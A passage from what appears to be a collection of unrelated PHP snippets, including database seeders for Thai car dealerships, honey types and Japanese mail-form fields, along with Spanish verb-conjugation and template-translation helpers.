ถ.รัชดาภิเษก แขวงห้วยขวาง เขตห้วยขวาง กรุงเทพฯ 10310']\n ];\n $arr[] = [\n 'tel' => '02-671-9990', 'cat_id' => '100',\n 'province' => '00',\n 'th' => ['title' => 'บริษัท พระราม 4 ฮอนด้าคาร์ส์ กรุ๊ป จำกัด ', 'address' => 'เลขที่ 1658/1 ถ.พระราม 4 แขวงคลองเตย เขตคลองเตย กรุงเทพฯ 10110']\n ];\n $arr[] = [\n 'tel' => '02-517-0999', 'cat_id' => '101',\n 'province' => '00',\n 'th' => ['title' => 'บริษัท อีซูซุพระนคร จำกัด ', 'address' => 'เลขที่ 79/1 ถ.เสรีไทย แขวงมีนบุรี เขตมีนบุรี กรุงเทพฯ 10510']\n ];\n $arr[] = [\n 'tel' => '02-422-2438-9 ', 'cat_id' => '102',\n 'province' => '23',\n 'th' => ['title' => 'บริษัท 555 ยานยนต์ จำกัด ', 'address' => 'เลขที่ 555 ม.2 ต.บางขุนกอง อ.บางกรวย จ.นนทบุรี 11130 ']\n ];\n $arr[] = [\n 'tel' => '035-725-997', 'cat_id' => '103',\n 'province' => '31',\n 'th' => ['title' => 'บริษัท โตโยต้า ไดมอนด์ ออโต้ จำกัด ', 'address' => 'เลขที่ 104 หมู่ 1 ต.คุ้งลาน อ.บางปะอิน จ.พระนครศรีอยุธยา 13160 ']\n ];\n $arr[] = [\n 'tel' => '02-673-0670-2', 'cat_id' => '103',\n 'province' => '00',\n 'th' => ['title' => 'บริษัท โตโยต้าบางกอก จำกัด ', 'address' => 'เลขที่ 3609/48 ถ.เจริญราษฎร์ แขวงบางโคล่ เขตบางคอแหลม กรุงเทพฯ 10120']\n ];\n $arr[] = [\n 'tel' => '02-998-0999', 'cat_id' => '103',\n 'province' => '00',\n 'th' => ['title' => 'บริษัท โตโยต้าบางกอก จำกัด ', 'address' => 'เลขที่ 42/3-4 ถ.วิภาวดี-รังสิต แขวงสนามบิน เขตดอนเมือง กรุงเทพฯ 10210']\n ];\n $arr[] = [\n 'tel' => '02-451-1999', 'cat_id' => '103',\n 'province' => '00',\n 'th' => ['title' => 'บริษัท โตโยต้าบางกอก จำกัด ', 'address' => 'เลขที่ 87/521-522 ถ.กาญจนาภิเษก แขวงบางบอน เขตบางบอน กรุงเทพฯ 10150']\n ];\n $arr[] = [\n 'tel' => '02-994-4377 ', 'cat_id' => '103',\n 'province' => '27',\n 'th' => ['title' => 'บริษัท โตโยต้าเฟรนส์ชิบ จำกัด', 'address' => 'เลขที่ 1/10 หมู่ 7 ถ.ลำลูกกา ต.ลาดสวาย อ.ลำลูกกา จ.ปทุมธานี 12150']\n ];\n $arr[] = [\n 'tel' => '02-908-8055 ', 'cat_id' => '103',\n 'province' => '27',\n 'th' => ['title' => 'บริษัท โตโยต้าเฟรนส์ชิบ จำกัด', 'address' => 'เลขที่ 58/846 ม.13 ถ.พหลโยธินขาออก ต.คลองหนึ่ง อ.คลองหลวง จ.ปทุมธานี 12120']\n ];\n $arr[] = [\n 'tel' => '02-598-6424', 'cat_id' => '103',\n 'province' => '27',\n 'th' => ['title' => 'บริษัท โตโยต้าเฟรนส์ชิบ จำกัด', 'address' => 'เลขที่ 99/9  หมู่ 7  ถ.ปทุมธานี-นนทบุรี  ต.บางคูวัด  อ.เมืองปทุมธานี  จ.ปทุมธานี 12000']\n ];\n $arr[] = [\n 'tel' => '02-029-0770', 'cat_id' => '103',\n 'province' => '00',\n 'th' => ['title' => 'บริษัท โตโยต้า บอดี้ เซอร์วิส จำกัด ', 'address' => 'เลขที่ 2 ถ.ศรีนครินทร์ แขวงบางนาใต้ เขตบางนา กรุงแทพฯ 10260']\n ];\n $arr[] = [\n 'tel' => '02-453-1999 , 02-453-1921 ', 'cat_id' => '103',\n 'province' => '00',\n 'th' => ['title' => 'บริษัท โตโยต้า เจดี คาร์ส จำกัด ', 'address' => 'เลขที่ 18/7-9 ม.8 แขวงบางขุนเทียน เขตจอมทอง กรุงเทพฯ 10150']\n ];\n $arr[] = [\n 'tel' => '02-996-9701-5 ', 'cat_id' => '103',\n 'province' => '00',\n 'th' => ['title' => 'บริษัท โตโยต้ามหานคร จำกัด', 'address' => 'เลขที่ 35,35/1 ถ.พหลโยธิน แขวงสนามบิน เขตดอนเมือง กรุงเทพฯ 10210']\n ];\n $arr[] = [\n 'tel' => '02-745-1981-90', 'cat_id' => '103',\n 'province' => '00',\n 'th' => ['title' => 'บริษัท โตโยต้ามหานคร จำกัด', 'address' => 'เลขที่ 3604 ถ.สุขุมวิท แขวงบางนา เขตบางนา กรุงเทพฯ 10260']\n ];\n $arr[] = [\n 'tel' => '02-803-4375-9', 'cat_id' => '103',\n 'province' => '00',\n 'th' => ['title' => 'บริษัท โตโยต้ามหานคร จำกัด', 'address' => 'เลขที่ 22 , 22/1 ถ.กาญจนาภิเษก แขวงบางแค เขตบางแค กรุงเทพฯ 10160']\n ];\n $arr[] = [\n 'tel' => '02-694-4333', 'cat_id' => '103',\n 'province' => '00',\n 'th' => ['title' => 'บริษัท โตโยต้ามหานคร จำกัด', 'address' => 'เลขที่ 777 หมู่ 2 ถนนสายไหม แขวงสายไหม เขตสายไหม กรุงเทพฯ 10220']\n ];\n $arr[] = [\n 'tel' => '02-703-3888 ', 'cat_id' => '103',\n 'province' => '56',\n 'th' => ['title' => 'บริษัท โตโยต้า สุวรรณภูมิ จำกัด ', 'address' => 'เลขที่ 62/2 หมู่ 9 ถ.เทพารักษ์ ต.บางปลา อ.บางพลี จ.สมุทรปราการ 10540']\n ];\n $arr[] = [\n 'tel' => '02-018-3777', 'cat_id' => '103',\n 'province' => '56',\n 'th' => ['title' => 'บริษัท โตโยต้า สุวรรณภูมิ จำกัด ', 'address' => 'เลขที่ 188,188/1,188/2 หมู่ 14 ถ.กิ่งแก้ว ต.ราชาเทวะ อ.บางพลี จ.สมุทรปราการ 10540']\n ];\n $arr[] = [\n 'tel' => '02-862-3888', 'cat_id' => '103',\n 'province' => '00',\n 'th' => ['title' => 'บริษัท โตโยต้า สุวรรณภูมิ จำกัด ', 'address' => 'เลขที่ 821 ถ.เพชรเกษม แขวงหนองค้างพลู เขตหนองแขม กรุงเทพฯ 10160']\n ];\n $arr[] = [\n 'tel' => '02-310-7777 ', 'cat_id' => '103',\n 'province' => '00',\n 'th' => ['title' => 'บริษัท เอส.พี.อินเตอร์เนชั่นแนล จำกัด ', 'address' => 'เลขที่ 69 ถ.รามคำแหง แขวงหัวหมาก เขตบางกะปิ กรุงเทพฯ 10240 ']\n ];\n $arr[] = [\n 'tel' => '02-919-9000-5 ', 'cat_id' => '103',\n 'province' => '00',\n 'th' => ['title' => 'บริษัท เอส.พี.อินเตอร์เนชั่นแนล จำกัด ', 'address' => 'เลขที่ 97/20 ม.3 ถ.สุขาภิบาล 2 แขวงคันนายาว เขตบึงกุ่ม กรุงเทพฯ 10230 ']\n ];\n $arr[] = [\n 'tel' => '02-516-5133', 'cat_id' => '103',\n 'province' => '27',\n 'th' => ['title' => 'บริษัท โตโยต้าปทุมธานี ผู้จำหน่ายโตโยต้า จำกัด ', 'address' => 'เลขที่ 650-652 ถ.วิภาวดีรังสิต ต.คูคต อ.ลำลูกกา จ.ปทุมธานี 12130 ']\n ];\n $arr[] = [\n 'tel' => '02-510-9999', 'cat_id' => '103',\n 'province' => '00',\n 'th' => ['title' => 'บริษัท โตโยต้า กรุงไทย จำกัด', 'address' => 'เลขที่ 491 ถ.รามอินทรา แขวงรามอินทรา เขตคันนายาว กรุงเทพฯ 10230']\n ];\n $arr[] = [\n 'tel' => '02-530-9999', 'cat_id' => '103',\n 'province' => '00',\n 'th' => ['title' => 'บริษัท โตโยต้า กรุงไทย จำกัด', 'address' => 'เลขที่ 2368 ถ.พหลโยธิน แขวงเสนานิคม เขตจตุจักร กรุงเทพฯ 10900']\n ];\n $arr[] = [\n 'tel' => '02-530-9999', 'cat_id' => '103',\n 'province' => '00',\n 'th' => ['title' => 'บริษัท โตโยต้า กรุงไทย จำกัด', 'address' => 'เลขที่ 128/9 ถ.บรมราชชนนี แขวงตลิ่งชัน เขตตลิ่งชัน กรุงเทพฯ 10170 ']\n ];\n $arr[] = [\n 'tel' => '02-757-5730-40', 'cat_id' => '100',\n 'province' => '56',\n 'th' => ['title' => 'บริษัท ฮอนด้า คาร์ส เทพารักษ์ จำกัด ', 'address' => 'เลขที่ 199/1 ม.1 ต.เทพารักษ์ อ.เมือง จ.สมุทรปราการ 10270 ']\n ];\n $arr[] = [\n 'tel' => '02-868-0636-8', 'cat_id' => '104',\n 'province' => '00',\n 'th' => ['title' => 'ห้างหุ้นส่วนจำกัด นครชัยยนต์ ', 'address' => 'เลขที่ 26/71-4 ถนนจรัญสนิทวงศ์ แขวงวัดท่าพระ เขตบางกอกใหญ่ กทม 10600']\n ];\n $arr[] = [\n 'tel' => '02-476-9606', 'cat_id' => '104',\n 'province' => '00',\n 'th' => ['title' => 'บริษัท เอ็น เค ซี อินเตอร์ จำกัด (สนญ.) ', 'address' => 'เลขที่ 1213/28 ถนนสมเด็จพระเจ้าตากสิน แขวงสำเหร่ เขตธนบุรี กทม 10600']\n ];\n $arr[] = [\n 'tel' => '02-476-9607-9 ', 'cat_id' => '104',\n 'province' => '00',\n 'th' => ['title' => 'บริษัท เอ็น เค ซี อินเตอร์ จำกัด ', 'address' => 'เลขที่ 154/1 ถนนรัชดา-ท่าพระ แขวงบุคคโล เขตธนบุรี กทม 10600']\n ];\n $arr[] = [\n 'tel' => '02-926-6215 , 02-926-6869 ', 'cat_id' => '104',\n 'province' => '23',\n 'th' => ['title' => 'บริษัท เอ็น ซี อินเตอร์เนชั่นแนล จำกัด ', 'address' => 'เลขที่ 144/1 - 144/4 หมู่4 ถนนรัตนาธิเบศร์ ตำบลบางรักพัฒนา อำเภอบางบัวทอง จังหวัดนนทบุรี 11110 ']\n ];\n $arr[] = [\n 'tel' => '02-194-5280-2 ', 'cat_id' => '104',\n 'province' => '23',\n 'th' => ['title' => 'บริษัท เอ็น ซี อินเตอร์เนชั่นแนล จำกัด ', 'address' => 'เลขที่ 88/34 หมู่ที่ 6 ตำบลบางรักพัฒนา อำเภอบางบัวทอง นนทบุรี 11110 ']\n ];\n $arr[] = [\n 'tel' => '02-408-8489-91 ', 'cat_id' => '105',\n 'province' => '23',\n 'th' => ['title' => 'บริษัท เอ็น ซี เอ็ม ออโต้เซอร์วิส จำกัด (สนญ.) ', 'address' => 'เลขที่ 42/3 หมู่ที่2 ต.บางขนุน อ.บางกรวย จ.นนทบุรี 11130 ']\n ];\n $arr[] = [\n 'tel' => '02-875-7759-62 ', 'cat_id' => '105',\n 'province' => '00',\n 'th' => ['title' => 'บริษัท เอ็น ซี เอ็ม ออโต้เซอร์วิส จำกัด ', 'address' => 'เลขที่ 17/45-46 หมู่ที่2 ถ.จอมทอง แขวงจอมทอง เขตจอมทอง กรุงเทพฯ 10150']\n ];\n\n\n foreach ($arr as $v) {\n\n $partner = Partner::create([\n 'type_id' => ProjectEnum::WEB_CONTENT_SERVICE_CENTER,\n 'cat_id' => $v['cat_id'],\n 'tel' => $v['tel'],\n 'province' => $v['province']\n ]);\n\n foreach (['th','en'] as $v1) {\n PartnerLocale::create([\n 'partner_id' => $partner->id,\n 'locale' => $v1,\n 'title' => $v[\"th\"]['title'],\n 'address' => $v[\"th\"]['address'],\n ]);\n }\n }\n\n }", "function tep_get_torihiki_houhou()\n{\n $types = $return = array();\n //DS_TORIHIKI_HOUHOU\n $types = explode(\"\\n\", DS_TORIHIKI_HOUHOU);\n if ($types) {\n foreach($types as $type){\n $atype = explode('//', $type);\n if (isset($atype[0]) && strlen($atype[0]) && isset($atype[1]) && strlen($atype[1])) {\n $return[$atype[0]] = explode('||', $atype[1]);\n }\n }\n }\n return $return;\n}", "private function formatConjugation($model, $ConjugationArray){\n $out = \"\";\n \n // Indicative\n $ary = $ConjugationArray['Indicative'];\n\n $tenses = array(\"present\",\"imperfect\",\"preterit\",\"future\");\n\n // put POS default values \n $aryPOS = array();\n //$aryPOS['person'] = 1;\n // II Gender 1 Masculine 2 Feminine 3 Neuter\n $aryPOS['gender'] = 0;\n // III Number 1 Singular 2 Plural\n //$aryPOS['number'] = 1;\n // IV Finiteness 1 Finite 2 Non-finite\n $aryPOS['finiteness'] = 0;\n // V Mood 1 Indicative 2 Subjunctive 3 Imperative 4 Conditional 5 Infinitive 6 Participle 7 Gerund 8 Supine\n // $aryPOS['mood'] = 1;\n // VI Tense 1 Present 2 Imperfect 3 Future 4 Past\n // $aryPOS['tense'] = 1;\n // VII Voice 1 Active 2 Passive\n $aryPOS['voice'] = 0;\n // VIII Status 1 Main 2 Auxiliary 3 Semi-auxiliary\n $aryPOS['status'] = 1;\n\t\n if ($model == '001' || $model == '002'){\n\t$aryPOS['status'] = 2;\n }\n if ($model == '003' || $model == '003 b' || $model == '004'){\n\t$aryPOS['status'] = 3;\n }\n\n // IX Aspect 1 Perfective 2 Imperfective\n $aryPOS['aspect'] = 0;\n // X Separability 1 Non-separable 2 Separable\n $aryPOS['separability'] = 0;\n // XI Reflexivity 1 Reflexive 2 Non-reflexive\n $aryPOS['reflexivity'] = 0;\n // XII Auxiliary 1 Have 2 Be\n $aryPOS['auxiliary'] = 0;\n // iterating in the conjugations, a record is created for each flexion\n\n/**\n*\tI N D I C A T I V E\n*/\t\n $mood = 'indicative';\n $aryPOS['mood'] = 1;\n\n for ($j=0; $j < 4; $j++){\n\n \t$tns = $tenses[$j];\n \t$conj = $ary[$j];\n \t$aryPOS['tense'] = $this->getConverterIndexation()->encodeTense($j);\n \t\n\tfor($i=0;$i<6;$i++){\n\t\t$number = ($i<3)? 'singular':'plural';\n\t\t$numberPOS = ($i<3)? 1:2;\n\t\t$per = ($i<3)? $i+1:$i - 2;\n\t\t$orth = $conj[$i];\n\t\t$aryPOS['person'] = $per;\n\t\t$aryPOS['number'] = $numberPOS;\n\t\t$pos = $this->getConverterIndexation()->encodePos($aryPOS);\n\n$str = <<<EOT\n<form type=\"inflected\">\n\t \t <orth>\n\t \t $orth\n\t \t </orth>\n\t \t <gramGrp>\n\t \t <per>\n\t \t $per\n\t \t </per>\n\t \t <number>\n\t \t $number\n\t \t </number>\n\t \t <mood>\n\t \t $mood\n\t \t </mood>\n\t \t <tns>\n\t \t $tns\n\t \t </tns>\n\t \t <pos>\n\t \t $pos\n\t \t </pos>\n\t \t </gramGrp>\n\t \t</form>\n\t \t \t\nEOT;\n\t \t$out .= $str;\n\n \t} //for\n\n } // for\n\n/**\n*\tC O N D I T I O N A L\n*/\t\n $ary = $ConjugationArray['Conditional'];\n\n $mood = 'conditional';\n $aryPOS['mood'] = 4;\n\n $tns = 'present';\n $conj = $ary[0];\n \t\n for($i=0;$i<6;$i++){\n\t$number = ($i<3)? 'singular':'plural';\n\t$per = ($i<3)? $i+1:$i - 2;\n\t$orth = $conj[$i];\n\t$pos = $this->getConverterIndexation()->encodePos($aryPOS);\n\n$str = <<<EOT\n<form type=\"inflected\">\n\t \t <orth>\n\t \t $orth\n\t \t </orth>\n\t \t <gramGrp>\n\t \t <per>\n\t \t $per\n\t \t </per>\n\t \t <number>\n\t \t $number\n\t \t </number>\n\t \t <mood>\n\t \t $mood\n\t \t </mood>\n\t \t <tns>\n\t \t $tns\n\t \t </tns>\n\t \t <pos>\n\t \t $pos\n\t \t </pos>\n\t \t </gramGrp>\n\t \t</form>\n\t \t \t\nEOT;\n\t$out .= $str;\n\n } // for\n\n/**\n*\tI N F I N I T I V E\n*/\t\n // INFINITIVE, GERUND & PARTICLE\n $ary = $ConjugationArray['Impersonal forms']; \n\n $mood = 'infinitive';\n $aryPOS['mood'] = 5;\n $aryPOS['person'] = 0;\n $aryPOS['number'] = 1;\n \n $conj = $ary[0]; \t\n $orth = $conj[0];\n $pos = $this->getConverterIndexation()->encodePos($aryPOS);\n\n$str = <<<EOT\n<form type=\"inflected\">\n\t \t <orth>\n\t \t $orth\n\t \t </orth>\n\t \t <gramGrp>\n\t \t <mood>\n\t \t $mood\n\t \t </mood>\n\t \t <pos>\n\t \t $pos\n\t \t </pos>\n\t \t </gramGrp>\n\t \t</form> \n\t \t \t\nEOT;\n\t$out .= $str;\n\n/**\n*\tG E R U N D I V E\n*/\t\n\n $mood = 'gerund';\n $conj = $ary[1]; \t\n $orth = $conj[0];\n $aryPOS['mood'] = 7;\n $aryPOS['person'] = 0;\n $aryPOS['number'] = 1;\n $aryPOS['tense'] = 1;\n $pos = $this->getConverterIndexation()->encodePos($aryPOS);\n\n$str = <<<EOT\n<form type=\"inflected\">\n\t \t <orth>\n\t \t $orth\n\t \t </orth>\n\t \t <gramGrp>\n\t \t <mood>\n\t \t $mood\n\t \t </mood>\n\t \t <pos>\n\t \t $pos\n\t \t </pos>\n\t \t </gramGrp>\n\t \t</form>\n\t \t \t\nEOT;\n\t$out .= $str;\n\n/**\n*\tP A S T P A R T I C I P L E\n*/\n/**\n* M A S C U L I N E\n*/\t\n $mood = 'participle';\n $tns = 'past';\n $conj = $ary[2]; \t\n $orth = $conj[0];\n $gen = 'masculin';\n $aryPOS['mood'] = 6;\n $aryPOS['gender'] = 1;\n $aryPOS['person'] = 0;\n $aryPOS['tense'] = 4;\n \n $pos = $this->getConverterIndexation()->encodePos($aryPOS);\n\n$str = <<<EOT\n<form type=\"inflected\">\n\t \t <orth>\n\t \t $orth\n\t \t </orth>\n\t \t <gramGrp>\n\t \t <mood>\n\t \t $mood\n\t \t </mood>\n \t \t <tns>\n\t \t $tns\n\t \t </tns> \n \t \t <gen>\n\t \t $gen\n\t \t </gen> \n\t \t <pos>\n\t \t $pos\n\t \t </pos>\n\t \t </gramGrp>\n\t \t</form>\n\t \t \t\nEOT;\n\n/**\n* F E M I N I N E\n*/\t\n $out .= $str;\n $orth = $conj[1];\t\n $gen = 'feminine';\n $aryPOS['mood'] = 6;\n $aryPOS['gender'] = 2;\n $pos = $this->getConverterIndexation()->encodePos($aryPOS);\n\n$str = <<<EOT\n<form type=\"inflected\">\n\t \t <orth>\n\t \t $orth\n\t \t </orth>\n\t \t <gramGrp>\n\t \t <mood>\n\t \t $mood\n\t \t </mood>\n \t \t <tns>\n\t \t $tns\n\t \t </tns>\n \t \t <gen>\n\t \t $gen\n\t \t </gen> \n\t \t <pos>\n\t \t $pos\n\t \t </pos>\n \t \t </gramGrp>\n\t \t</form>\n\t \t \t\nEOT;\n\t$out .= $str;\n\n \n/**\n* I M P E R A T I V E\n*/\n $ary = $ConjugationArray['Imperative']; \n $mood = 'imperative';\n $aryPOS['mood'] = 3;\n $aryPOS['tense']= 1;\n\n $tns = 'present';\n $conj = $ary[0];\n \t\n\tfor($i=0;$i<6;$i++){\n\t\t$number = ($i==0 || $i==3)? 'singular':'plural';\n\t\t$usg = ($i<3)? 'positive':'negative';\n\t\t$per = ($i==2 || $i==5)? 2:1;\n\t\t$orth = $conj[$i];\n\t\t$pos = $this->getConverterIndexation()->encodePos($aryPOS);\n\n$str = <<<EOT\n<form type=\"inflected\">\n\t \t <orth>\n\t \t $orth\n\t \t </orth>\n\t \t <gramGrp>\n\t \t <per>\n\t \t $per\n\t \t </per>\n\t \t <number>\n\t \t $number\n\t \t </number>\n\t \t <mood>\n\t \t $mood\n\t \t </mood>\n\t \t <tns>\n\t \t $tns\n\t \t </tns>\n \t \t <usg>\n\t \t $usg\n \t\t </usg>\n\t \t <pos>\n\t \t $pos\n\t \t </pos>\n\t \t </gramGrp>\n\t \t</form>\n\t \t \t\nEOT;\n\t \t$out .= $str;\n } // for\n\n \n/**\n*\tS U B J U N C T I V E\n*/\n $ary = $ConjugationArray['Subjunctive']; \n\n $tenses = array(\"present\",\"imperfect\");\n\n $mood = 'subjunctive';\n $aryPOS['mood'] = 2;\n\n for ($j=0; $j < 2; $j++){\n\n \t$aryPOS['tense'] = $this->getConverterIndexation()->encodeTense($j);\n \t$tns = $tenses[$j];\n \t$conj = $ary[$j];\n \t\n\tfor($i=0;$i<6;$i++){\n\t\t$number = ($i<3)? 'singular':'plural';\n\t\t$numberPOS = ($i<3)? 1:2;\n\t\t$per = ($i<3)? $i+1:$i - 2;\n\t\t$orth = $conj[$i];\n\t\t$aryPOS['person'] = $per;\n\t\t$aryPOS['number'] = $numberPOS;\n\t\t$pos = $this->getConverterIndexation()->encodePos($aryPOS);\n\n$str = <<<EOT\n<form type=\"inflected\">\n\t \t <orth>\n\t \t $orth\n\t \t </orth>\n\t \t <gramGrp>\n\t \t <per>\n\t \t $per\n\t \t </per>\n\t \t <number>\n\t \t $number\n\t \t </number>\n\t \t <mood>\n\t \t $mood\n\t \t </mood>\n\t \t <tns>\n\t \t $tns\n\t \t </tns>\n\t \t <pos>\n\t \t $pos\n\t \t </pos>\n\t \t </gramGrp>\n\t \t</form>\n\t \t \t\nEOT;\n\t \t$out .= $str;\n\n \t} //for\n\n } // for\n\n return $out; \n }", "function print_response($response) {\n foreach($response as $value) {\n if (is_array($value)) {\n print_response($value);\n }\n else {\n print sm_encode_html_special_chars($value).\"<br />\\n\";\n }\n }\n}", "function parse()\n {\n $params=$this->layoutManager->getPluginParams(\"L\");\n $tLang=$params[\"lang\"];\n $el=$this->getSubElements();\n $id=$el[\"ID\"][\"text\"];\n $textNode=$el[\"C\"][\"node\"];\n $layoutContents=$textNode->contents;\n $nContents=count($layoutContents);\n if($nContents==0)\n return;\n\n $curVar=1;\n $phpCode=array();\n $newContents=array();\n $currentNode=array(\"TYPE\"=>\"HTML\",\"TEXT\"=>\"\");\n $newContents[]=$currentNode;\n /* Supongamos una lista de layoutContents del tipo HTML - PHP - HTML : ej: a <?php echo \"p\";?> b\n * Para buscar la traduccion, hay que actuar como si fuera 1 solo layoutContent de tipo a %1 b\n * Por eso, el resultado debe ser 1 solo layoutcontent de tipo HTML, aunque dentro, contenga codigo php.\n * \n */\n $html=\"\";\n for($k=0;$k<$nContents;$k++)\n { \n if($layoutContents[$k][\"TYPE\"]==\"HTML\")\n {\n $html.=$layoutContents[$k][\"TEXT\"];\n }\n else\n {\n if($layoutContents[$k][\"TYPE\"]==\"PHP\")\n {\n $html.=\"{%\".$curVar.\"}\";\n $phpCode[$curVar]=$layoutContents[$k][\"TEXT\"];\n $curVar++;\n }\n else\n {\n // Se traduce el nodo HTML actual\n $currentNode[\"TEXT\"]=$this->parseTranslation($tLang,$id,$phpCode,$html);\n // Se copia el nodo que hemos encontrado, tal cual (no es ni PHP ni HTML)\n $newContents[]=$layoutContents[$k];\n // Se crea el siguiente nodo HTML.\n $currentNode=array(\"TYPE\"=>\"HTML\",\"TEXT\"=>\"\");\n $newContents[]=$currentNode;\n $html=\"\";\n $phpCode=array();\n $curVar=1;\n }\n \n }\n } \n // Al llegar aqui, nos queda el ultimo nodo HTML creado.Hay que parsearlo.\n $currentNode[\"TEXT\"]=$this->parseTranslation($tLang,$id,$phpCode,$html);\n return $newContents;\n }", "public static function format($info_array, $data_type)\n {\n }", "public function run()\n {\n $arr=['Wrzosowy', 'Rzepakowy', 'Akacjowy', 'Gryczany', 'Wielokwiatowy','Spadziowy'];\n\n $types = [];\n\n foreach ($arr as $ht){\n $rec=new HoneyType;\n $rec->name= $ht;\n $rec->save();\n array_push($types, $rec);\n }\n }", "public function run(): void\n {\n $data = [\n [\n 'id' => 1,\n 'mail_content_id' => 1,\n 'no' => 1,\n 'name' => '姓',\n 'field_name' => 'name_1',\n 'type' => 'text',\n 'head' => 'お名前',\n 'attention' => '',\n 'before_attachment' => '',\n 'after_attachment' => '',\n 'source' => '',\n 'size' => NULL,\n 'text_rows' => NULL,\n 'maxlength' => 255,\n 'options' => 'placeholder|姓',\n 'class' => '',\n 'default_value' => '',\n 'description' => '',\n 'group_field' => 'name',\n 'group_valid' => 'name',\n 'valid' => 'VALID_NOT_EMPTY',\n 'valid_ex' => '',\n 'auto_convert' => '',\n 'not_empty' => 1,\n 'use_field' => 1,\n 'no_send' => 0,\n 'sort' => 1,\n 'created' => NULL,\n 'modified' => NULL,\n ],\n [\n 'id' => 2,\n 'mail_content_id' => 1,\n 'no' => 2,\n 'name' => '名',\n 'field_name' => 'name_2',\n 'type' => 'text',\n 'head' => 'お名前',\n 'attention' => '',\n 'before_attachment' => '',\n 'after_attachment' => '',\n 'source' => '',\n 'size' => NULL,\n 'text_rows' => NULL,\n 'maxlength' => 255,\n 'options' => 'placeholder|名',\n 'class' => '',\n 'default_value' => '',\n 'description' => '',\n 'group_field' => 'name',\n 'group_valid' => 'name',\n 'valid' => 'VALID_NOT_EMPTY',\n 'valid_ex' => '',\n 'auto_convert' => '',\n 'not_empty' => 1,\n 'use_field' => 1,\n 'no_send' => 0,\n 'sort' => 2,\n 'created' => NULL,\n 'modified' => NULL,\n ],\n [\n 'id' => 5,\n 'mail_content_id' => 1,\n 'no' => 5,\n 'name' => '性別',\n 'field_name' => 'sex',\n 'type' => 'radio',\n 'head' => '性別',\n 'attention' => '',\n 'before_attachment' => '',\n 'after_attachment' => '',\n 'source' => '男性|女性',\n 'size' => 0,\n 'text_rows' => 0,\n 'maxlength' => 0,\n 'options' => '',\n 'class' => '',\n 'default_value' => '',\n 'description' => '',\n 'group_field' => '',\n 'group_valid' => '',\n 'valid' => '',\n 'valid_ex' => '',\n 'auto_convert' => '',\n 'not_empty' => 0,\n 'use_field' => 1,\n 'no_send' => 0,\n 'sort' => 5,\n 'created' => NULL,\n 'modified' => NULL,\n ],\n [\n 'id' => 6,\n 'mail_content_id' => 1,\n 'no' => 7,\n 'name' => 'メールアドレス',\n 'field_name' => 'email_1',\n 'type' => 'email',\n 'head' => 'メールアドレス',\n 'attention' => '',\n 'before_attachment' => '',\n 'after_attachment' => '',\n 'source' => '',\n 'size' => NULL,\n 'text_rows' => NULL,\n 'maxlength' => 50,\n 'options' => '',\n 'class' => '',\n 'default_value' => '',\n 'description' => '',\n 'group_field' => 'email',\n 'group_valid' => 'email',\n 'valid' => 'VALID_EMAIL',\n 'valid_ex' => 'VALID_EMAIL_CONFIRM',\n 'auto_convert' => '',\n 'not_empty' => 1,\n 'use_field' => 1,\n 'no_send' => 0,\n 'sort' => 6,\n 'created' => NULL,\n 'modified' => NULL,\n ],\n [\n 'id' => 7,\n 'mail_content_id' => 1,\n 'no' => 8,\n 'name' => 'メールアドレス確認',\n 'field_name' => 'email_2',\n 'type' => 'text',\n 'head' => 'メールアドレス(確認)',\n 'attention' => '',\n 'before_attachment' => '',\n 'after_attachment' => '',\n 'source' => '',\n 'size' => NULL,\n 'text_rows' => NULL,\n 'maxlength' => 50,\n 'options' => 'placeholder|確認のためもう一度入力して下さい',\n 'class' => '',\n 'default_value' => '',\n 'description' => '',\n 'group_field' => 'email',\n 'group_valid' => 'email',\n 'valid' => 'VALID_EMAIL',\n 'valid_ex' => 'VALID_EMAIL_CONFIRM',\n 'auto_convert' => '',\n 'not_empty' => 1,\n 'use_field' => 1,\n 'no_send' => 1,\n 'sort' => 7,\n 'created' => NULL,\n 'modified' => NULL,\n ],\n [\n 'id' => 8,\n 'mail_content_id' => 1,\n 'no' => 9,\n 'name' => '電話番号',\n 'field_name' => 'tel',\n 'type' => 'text',\n 'head' => '電話番号',\n 'attention' => '',\n 'before_attachment' => '',\n 'after_attachment' => '',\n 'source' => '',\n 'size' => NULL,\n 'text_rows' => NULL,\n 'maxlength' => 11,\n 'options' => 'placeholder|ハイフン抜きで入力して下さい',\n 'class' => '',\n 'default_value' => '',\n 'description' => '',\n 'group_field' => '',\n 'group_valid' => '',\n 'valid' => '',\n 'valid_ex' => '',\n 'auto_convert' => 'CONVERT_HANKAKU',\n 'not_empty' => 0,\n 'use_field' => 1,\n 'no_send' => 0,\n 'sort' => 8,\n 'created' => NULL,\n 'modified' => NULL,\n ],\n [\n 'id' => 11,\n 'mail_content_id' => 1,\n 'no' => 12,\n 'name' => '郵便番号',\n 'field_name' => 'zip',\n 'type' => 'autozip',\n 'head' => '住所',\n 'attention' => '',\n 'before_attachment' => '',\n 'after_attachment' => '',\n 'source' => 'address_1\naddress_2',\n 'size' => NULL,\n 'text_rows' => NULL,\n 'maxlength' => 8,\n 'options' => 'placeholder|〒 郵便番号をハイフン抜きで入力してください',\n 'class' => '',\n 'default_value' => '',\n 'description' => '',\n 'group_field' => 'address',\n 'group_valid' => '',\n 'valid' => '',\n 'valid_ex' => '',\n 'auto_convert' => 'CONVERT_HANKAKU',\n 'not_empty' => 0,\n 'use_field' => 1,\n 'no_send' => 0,\n 'sort' => 11,\n 'created' => NULL,\n 'modified' => NULL,\n ],\n [\n 'id' => 12,\n 'mail_content_id' => 1,\n 'no' => 13,\n 'name' => '都道府県',\n 'field_name' => 'address_1',\n 'type' => 'pref',\n 'head' => '住所',\n 'attention' => '',\n 'before_attachment' => '',\n 'after_attachment' => '',\n 'source' => '',\n 'size' => NULL,\n 'text_rows' => NULL,\n 'maxlength' => NULL,\n 'options' => '',\n 'class' => '',\n 'default_value' => '',\n 'description' => '',\n 'group_field' => 'address',\n 'group_valid' => '',\n 'valid' => '',\n 'valid_ex' => '',\n 'auto_convert' => '',\n 'not_empty' => 0,\n 'use_field' => 1,\n 'no_send' => 0,\n 'sort' => 12,\n 'created' => NULL,\n 'modified' => NULL,\n ],\n [\n 'id' => 13,\n 'mail_content_id' => 1,\n 'no' => 14,\n 'name' => '市区町村・番地',\n 'field_name' => 'address_2',\n 'type' => 'text',\n 'head' => '住所',\n 'attention' => '',\n 'before_attachment' => '',\n 'after_attachment' => '',\n 'source' => '',\n 'size' => NULL,\n 'text_rows' => NULL,\n 'maxlength' => 200,\n 'options' => 'placeholder|市区町村・番地',\n 'class' => '',\n 'default_value' => '',\n 'description' => '',\n 'group_field' => 'address',\n 'group_valid' => '',\n 'valid' => '',\n 'valid_ex' => '',\n 'auto_convert' => 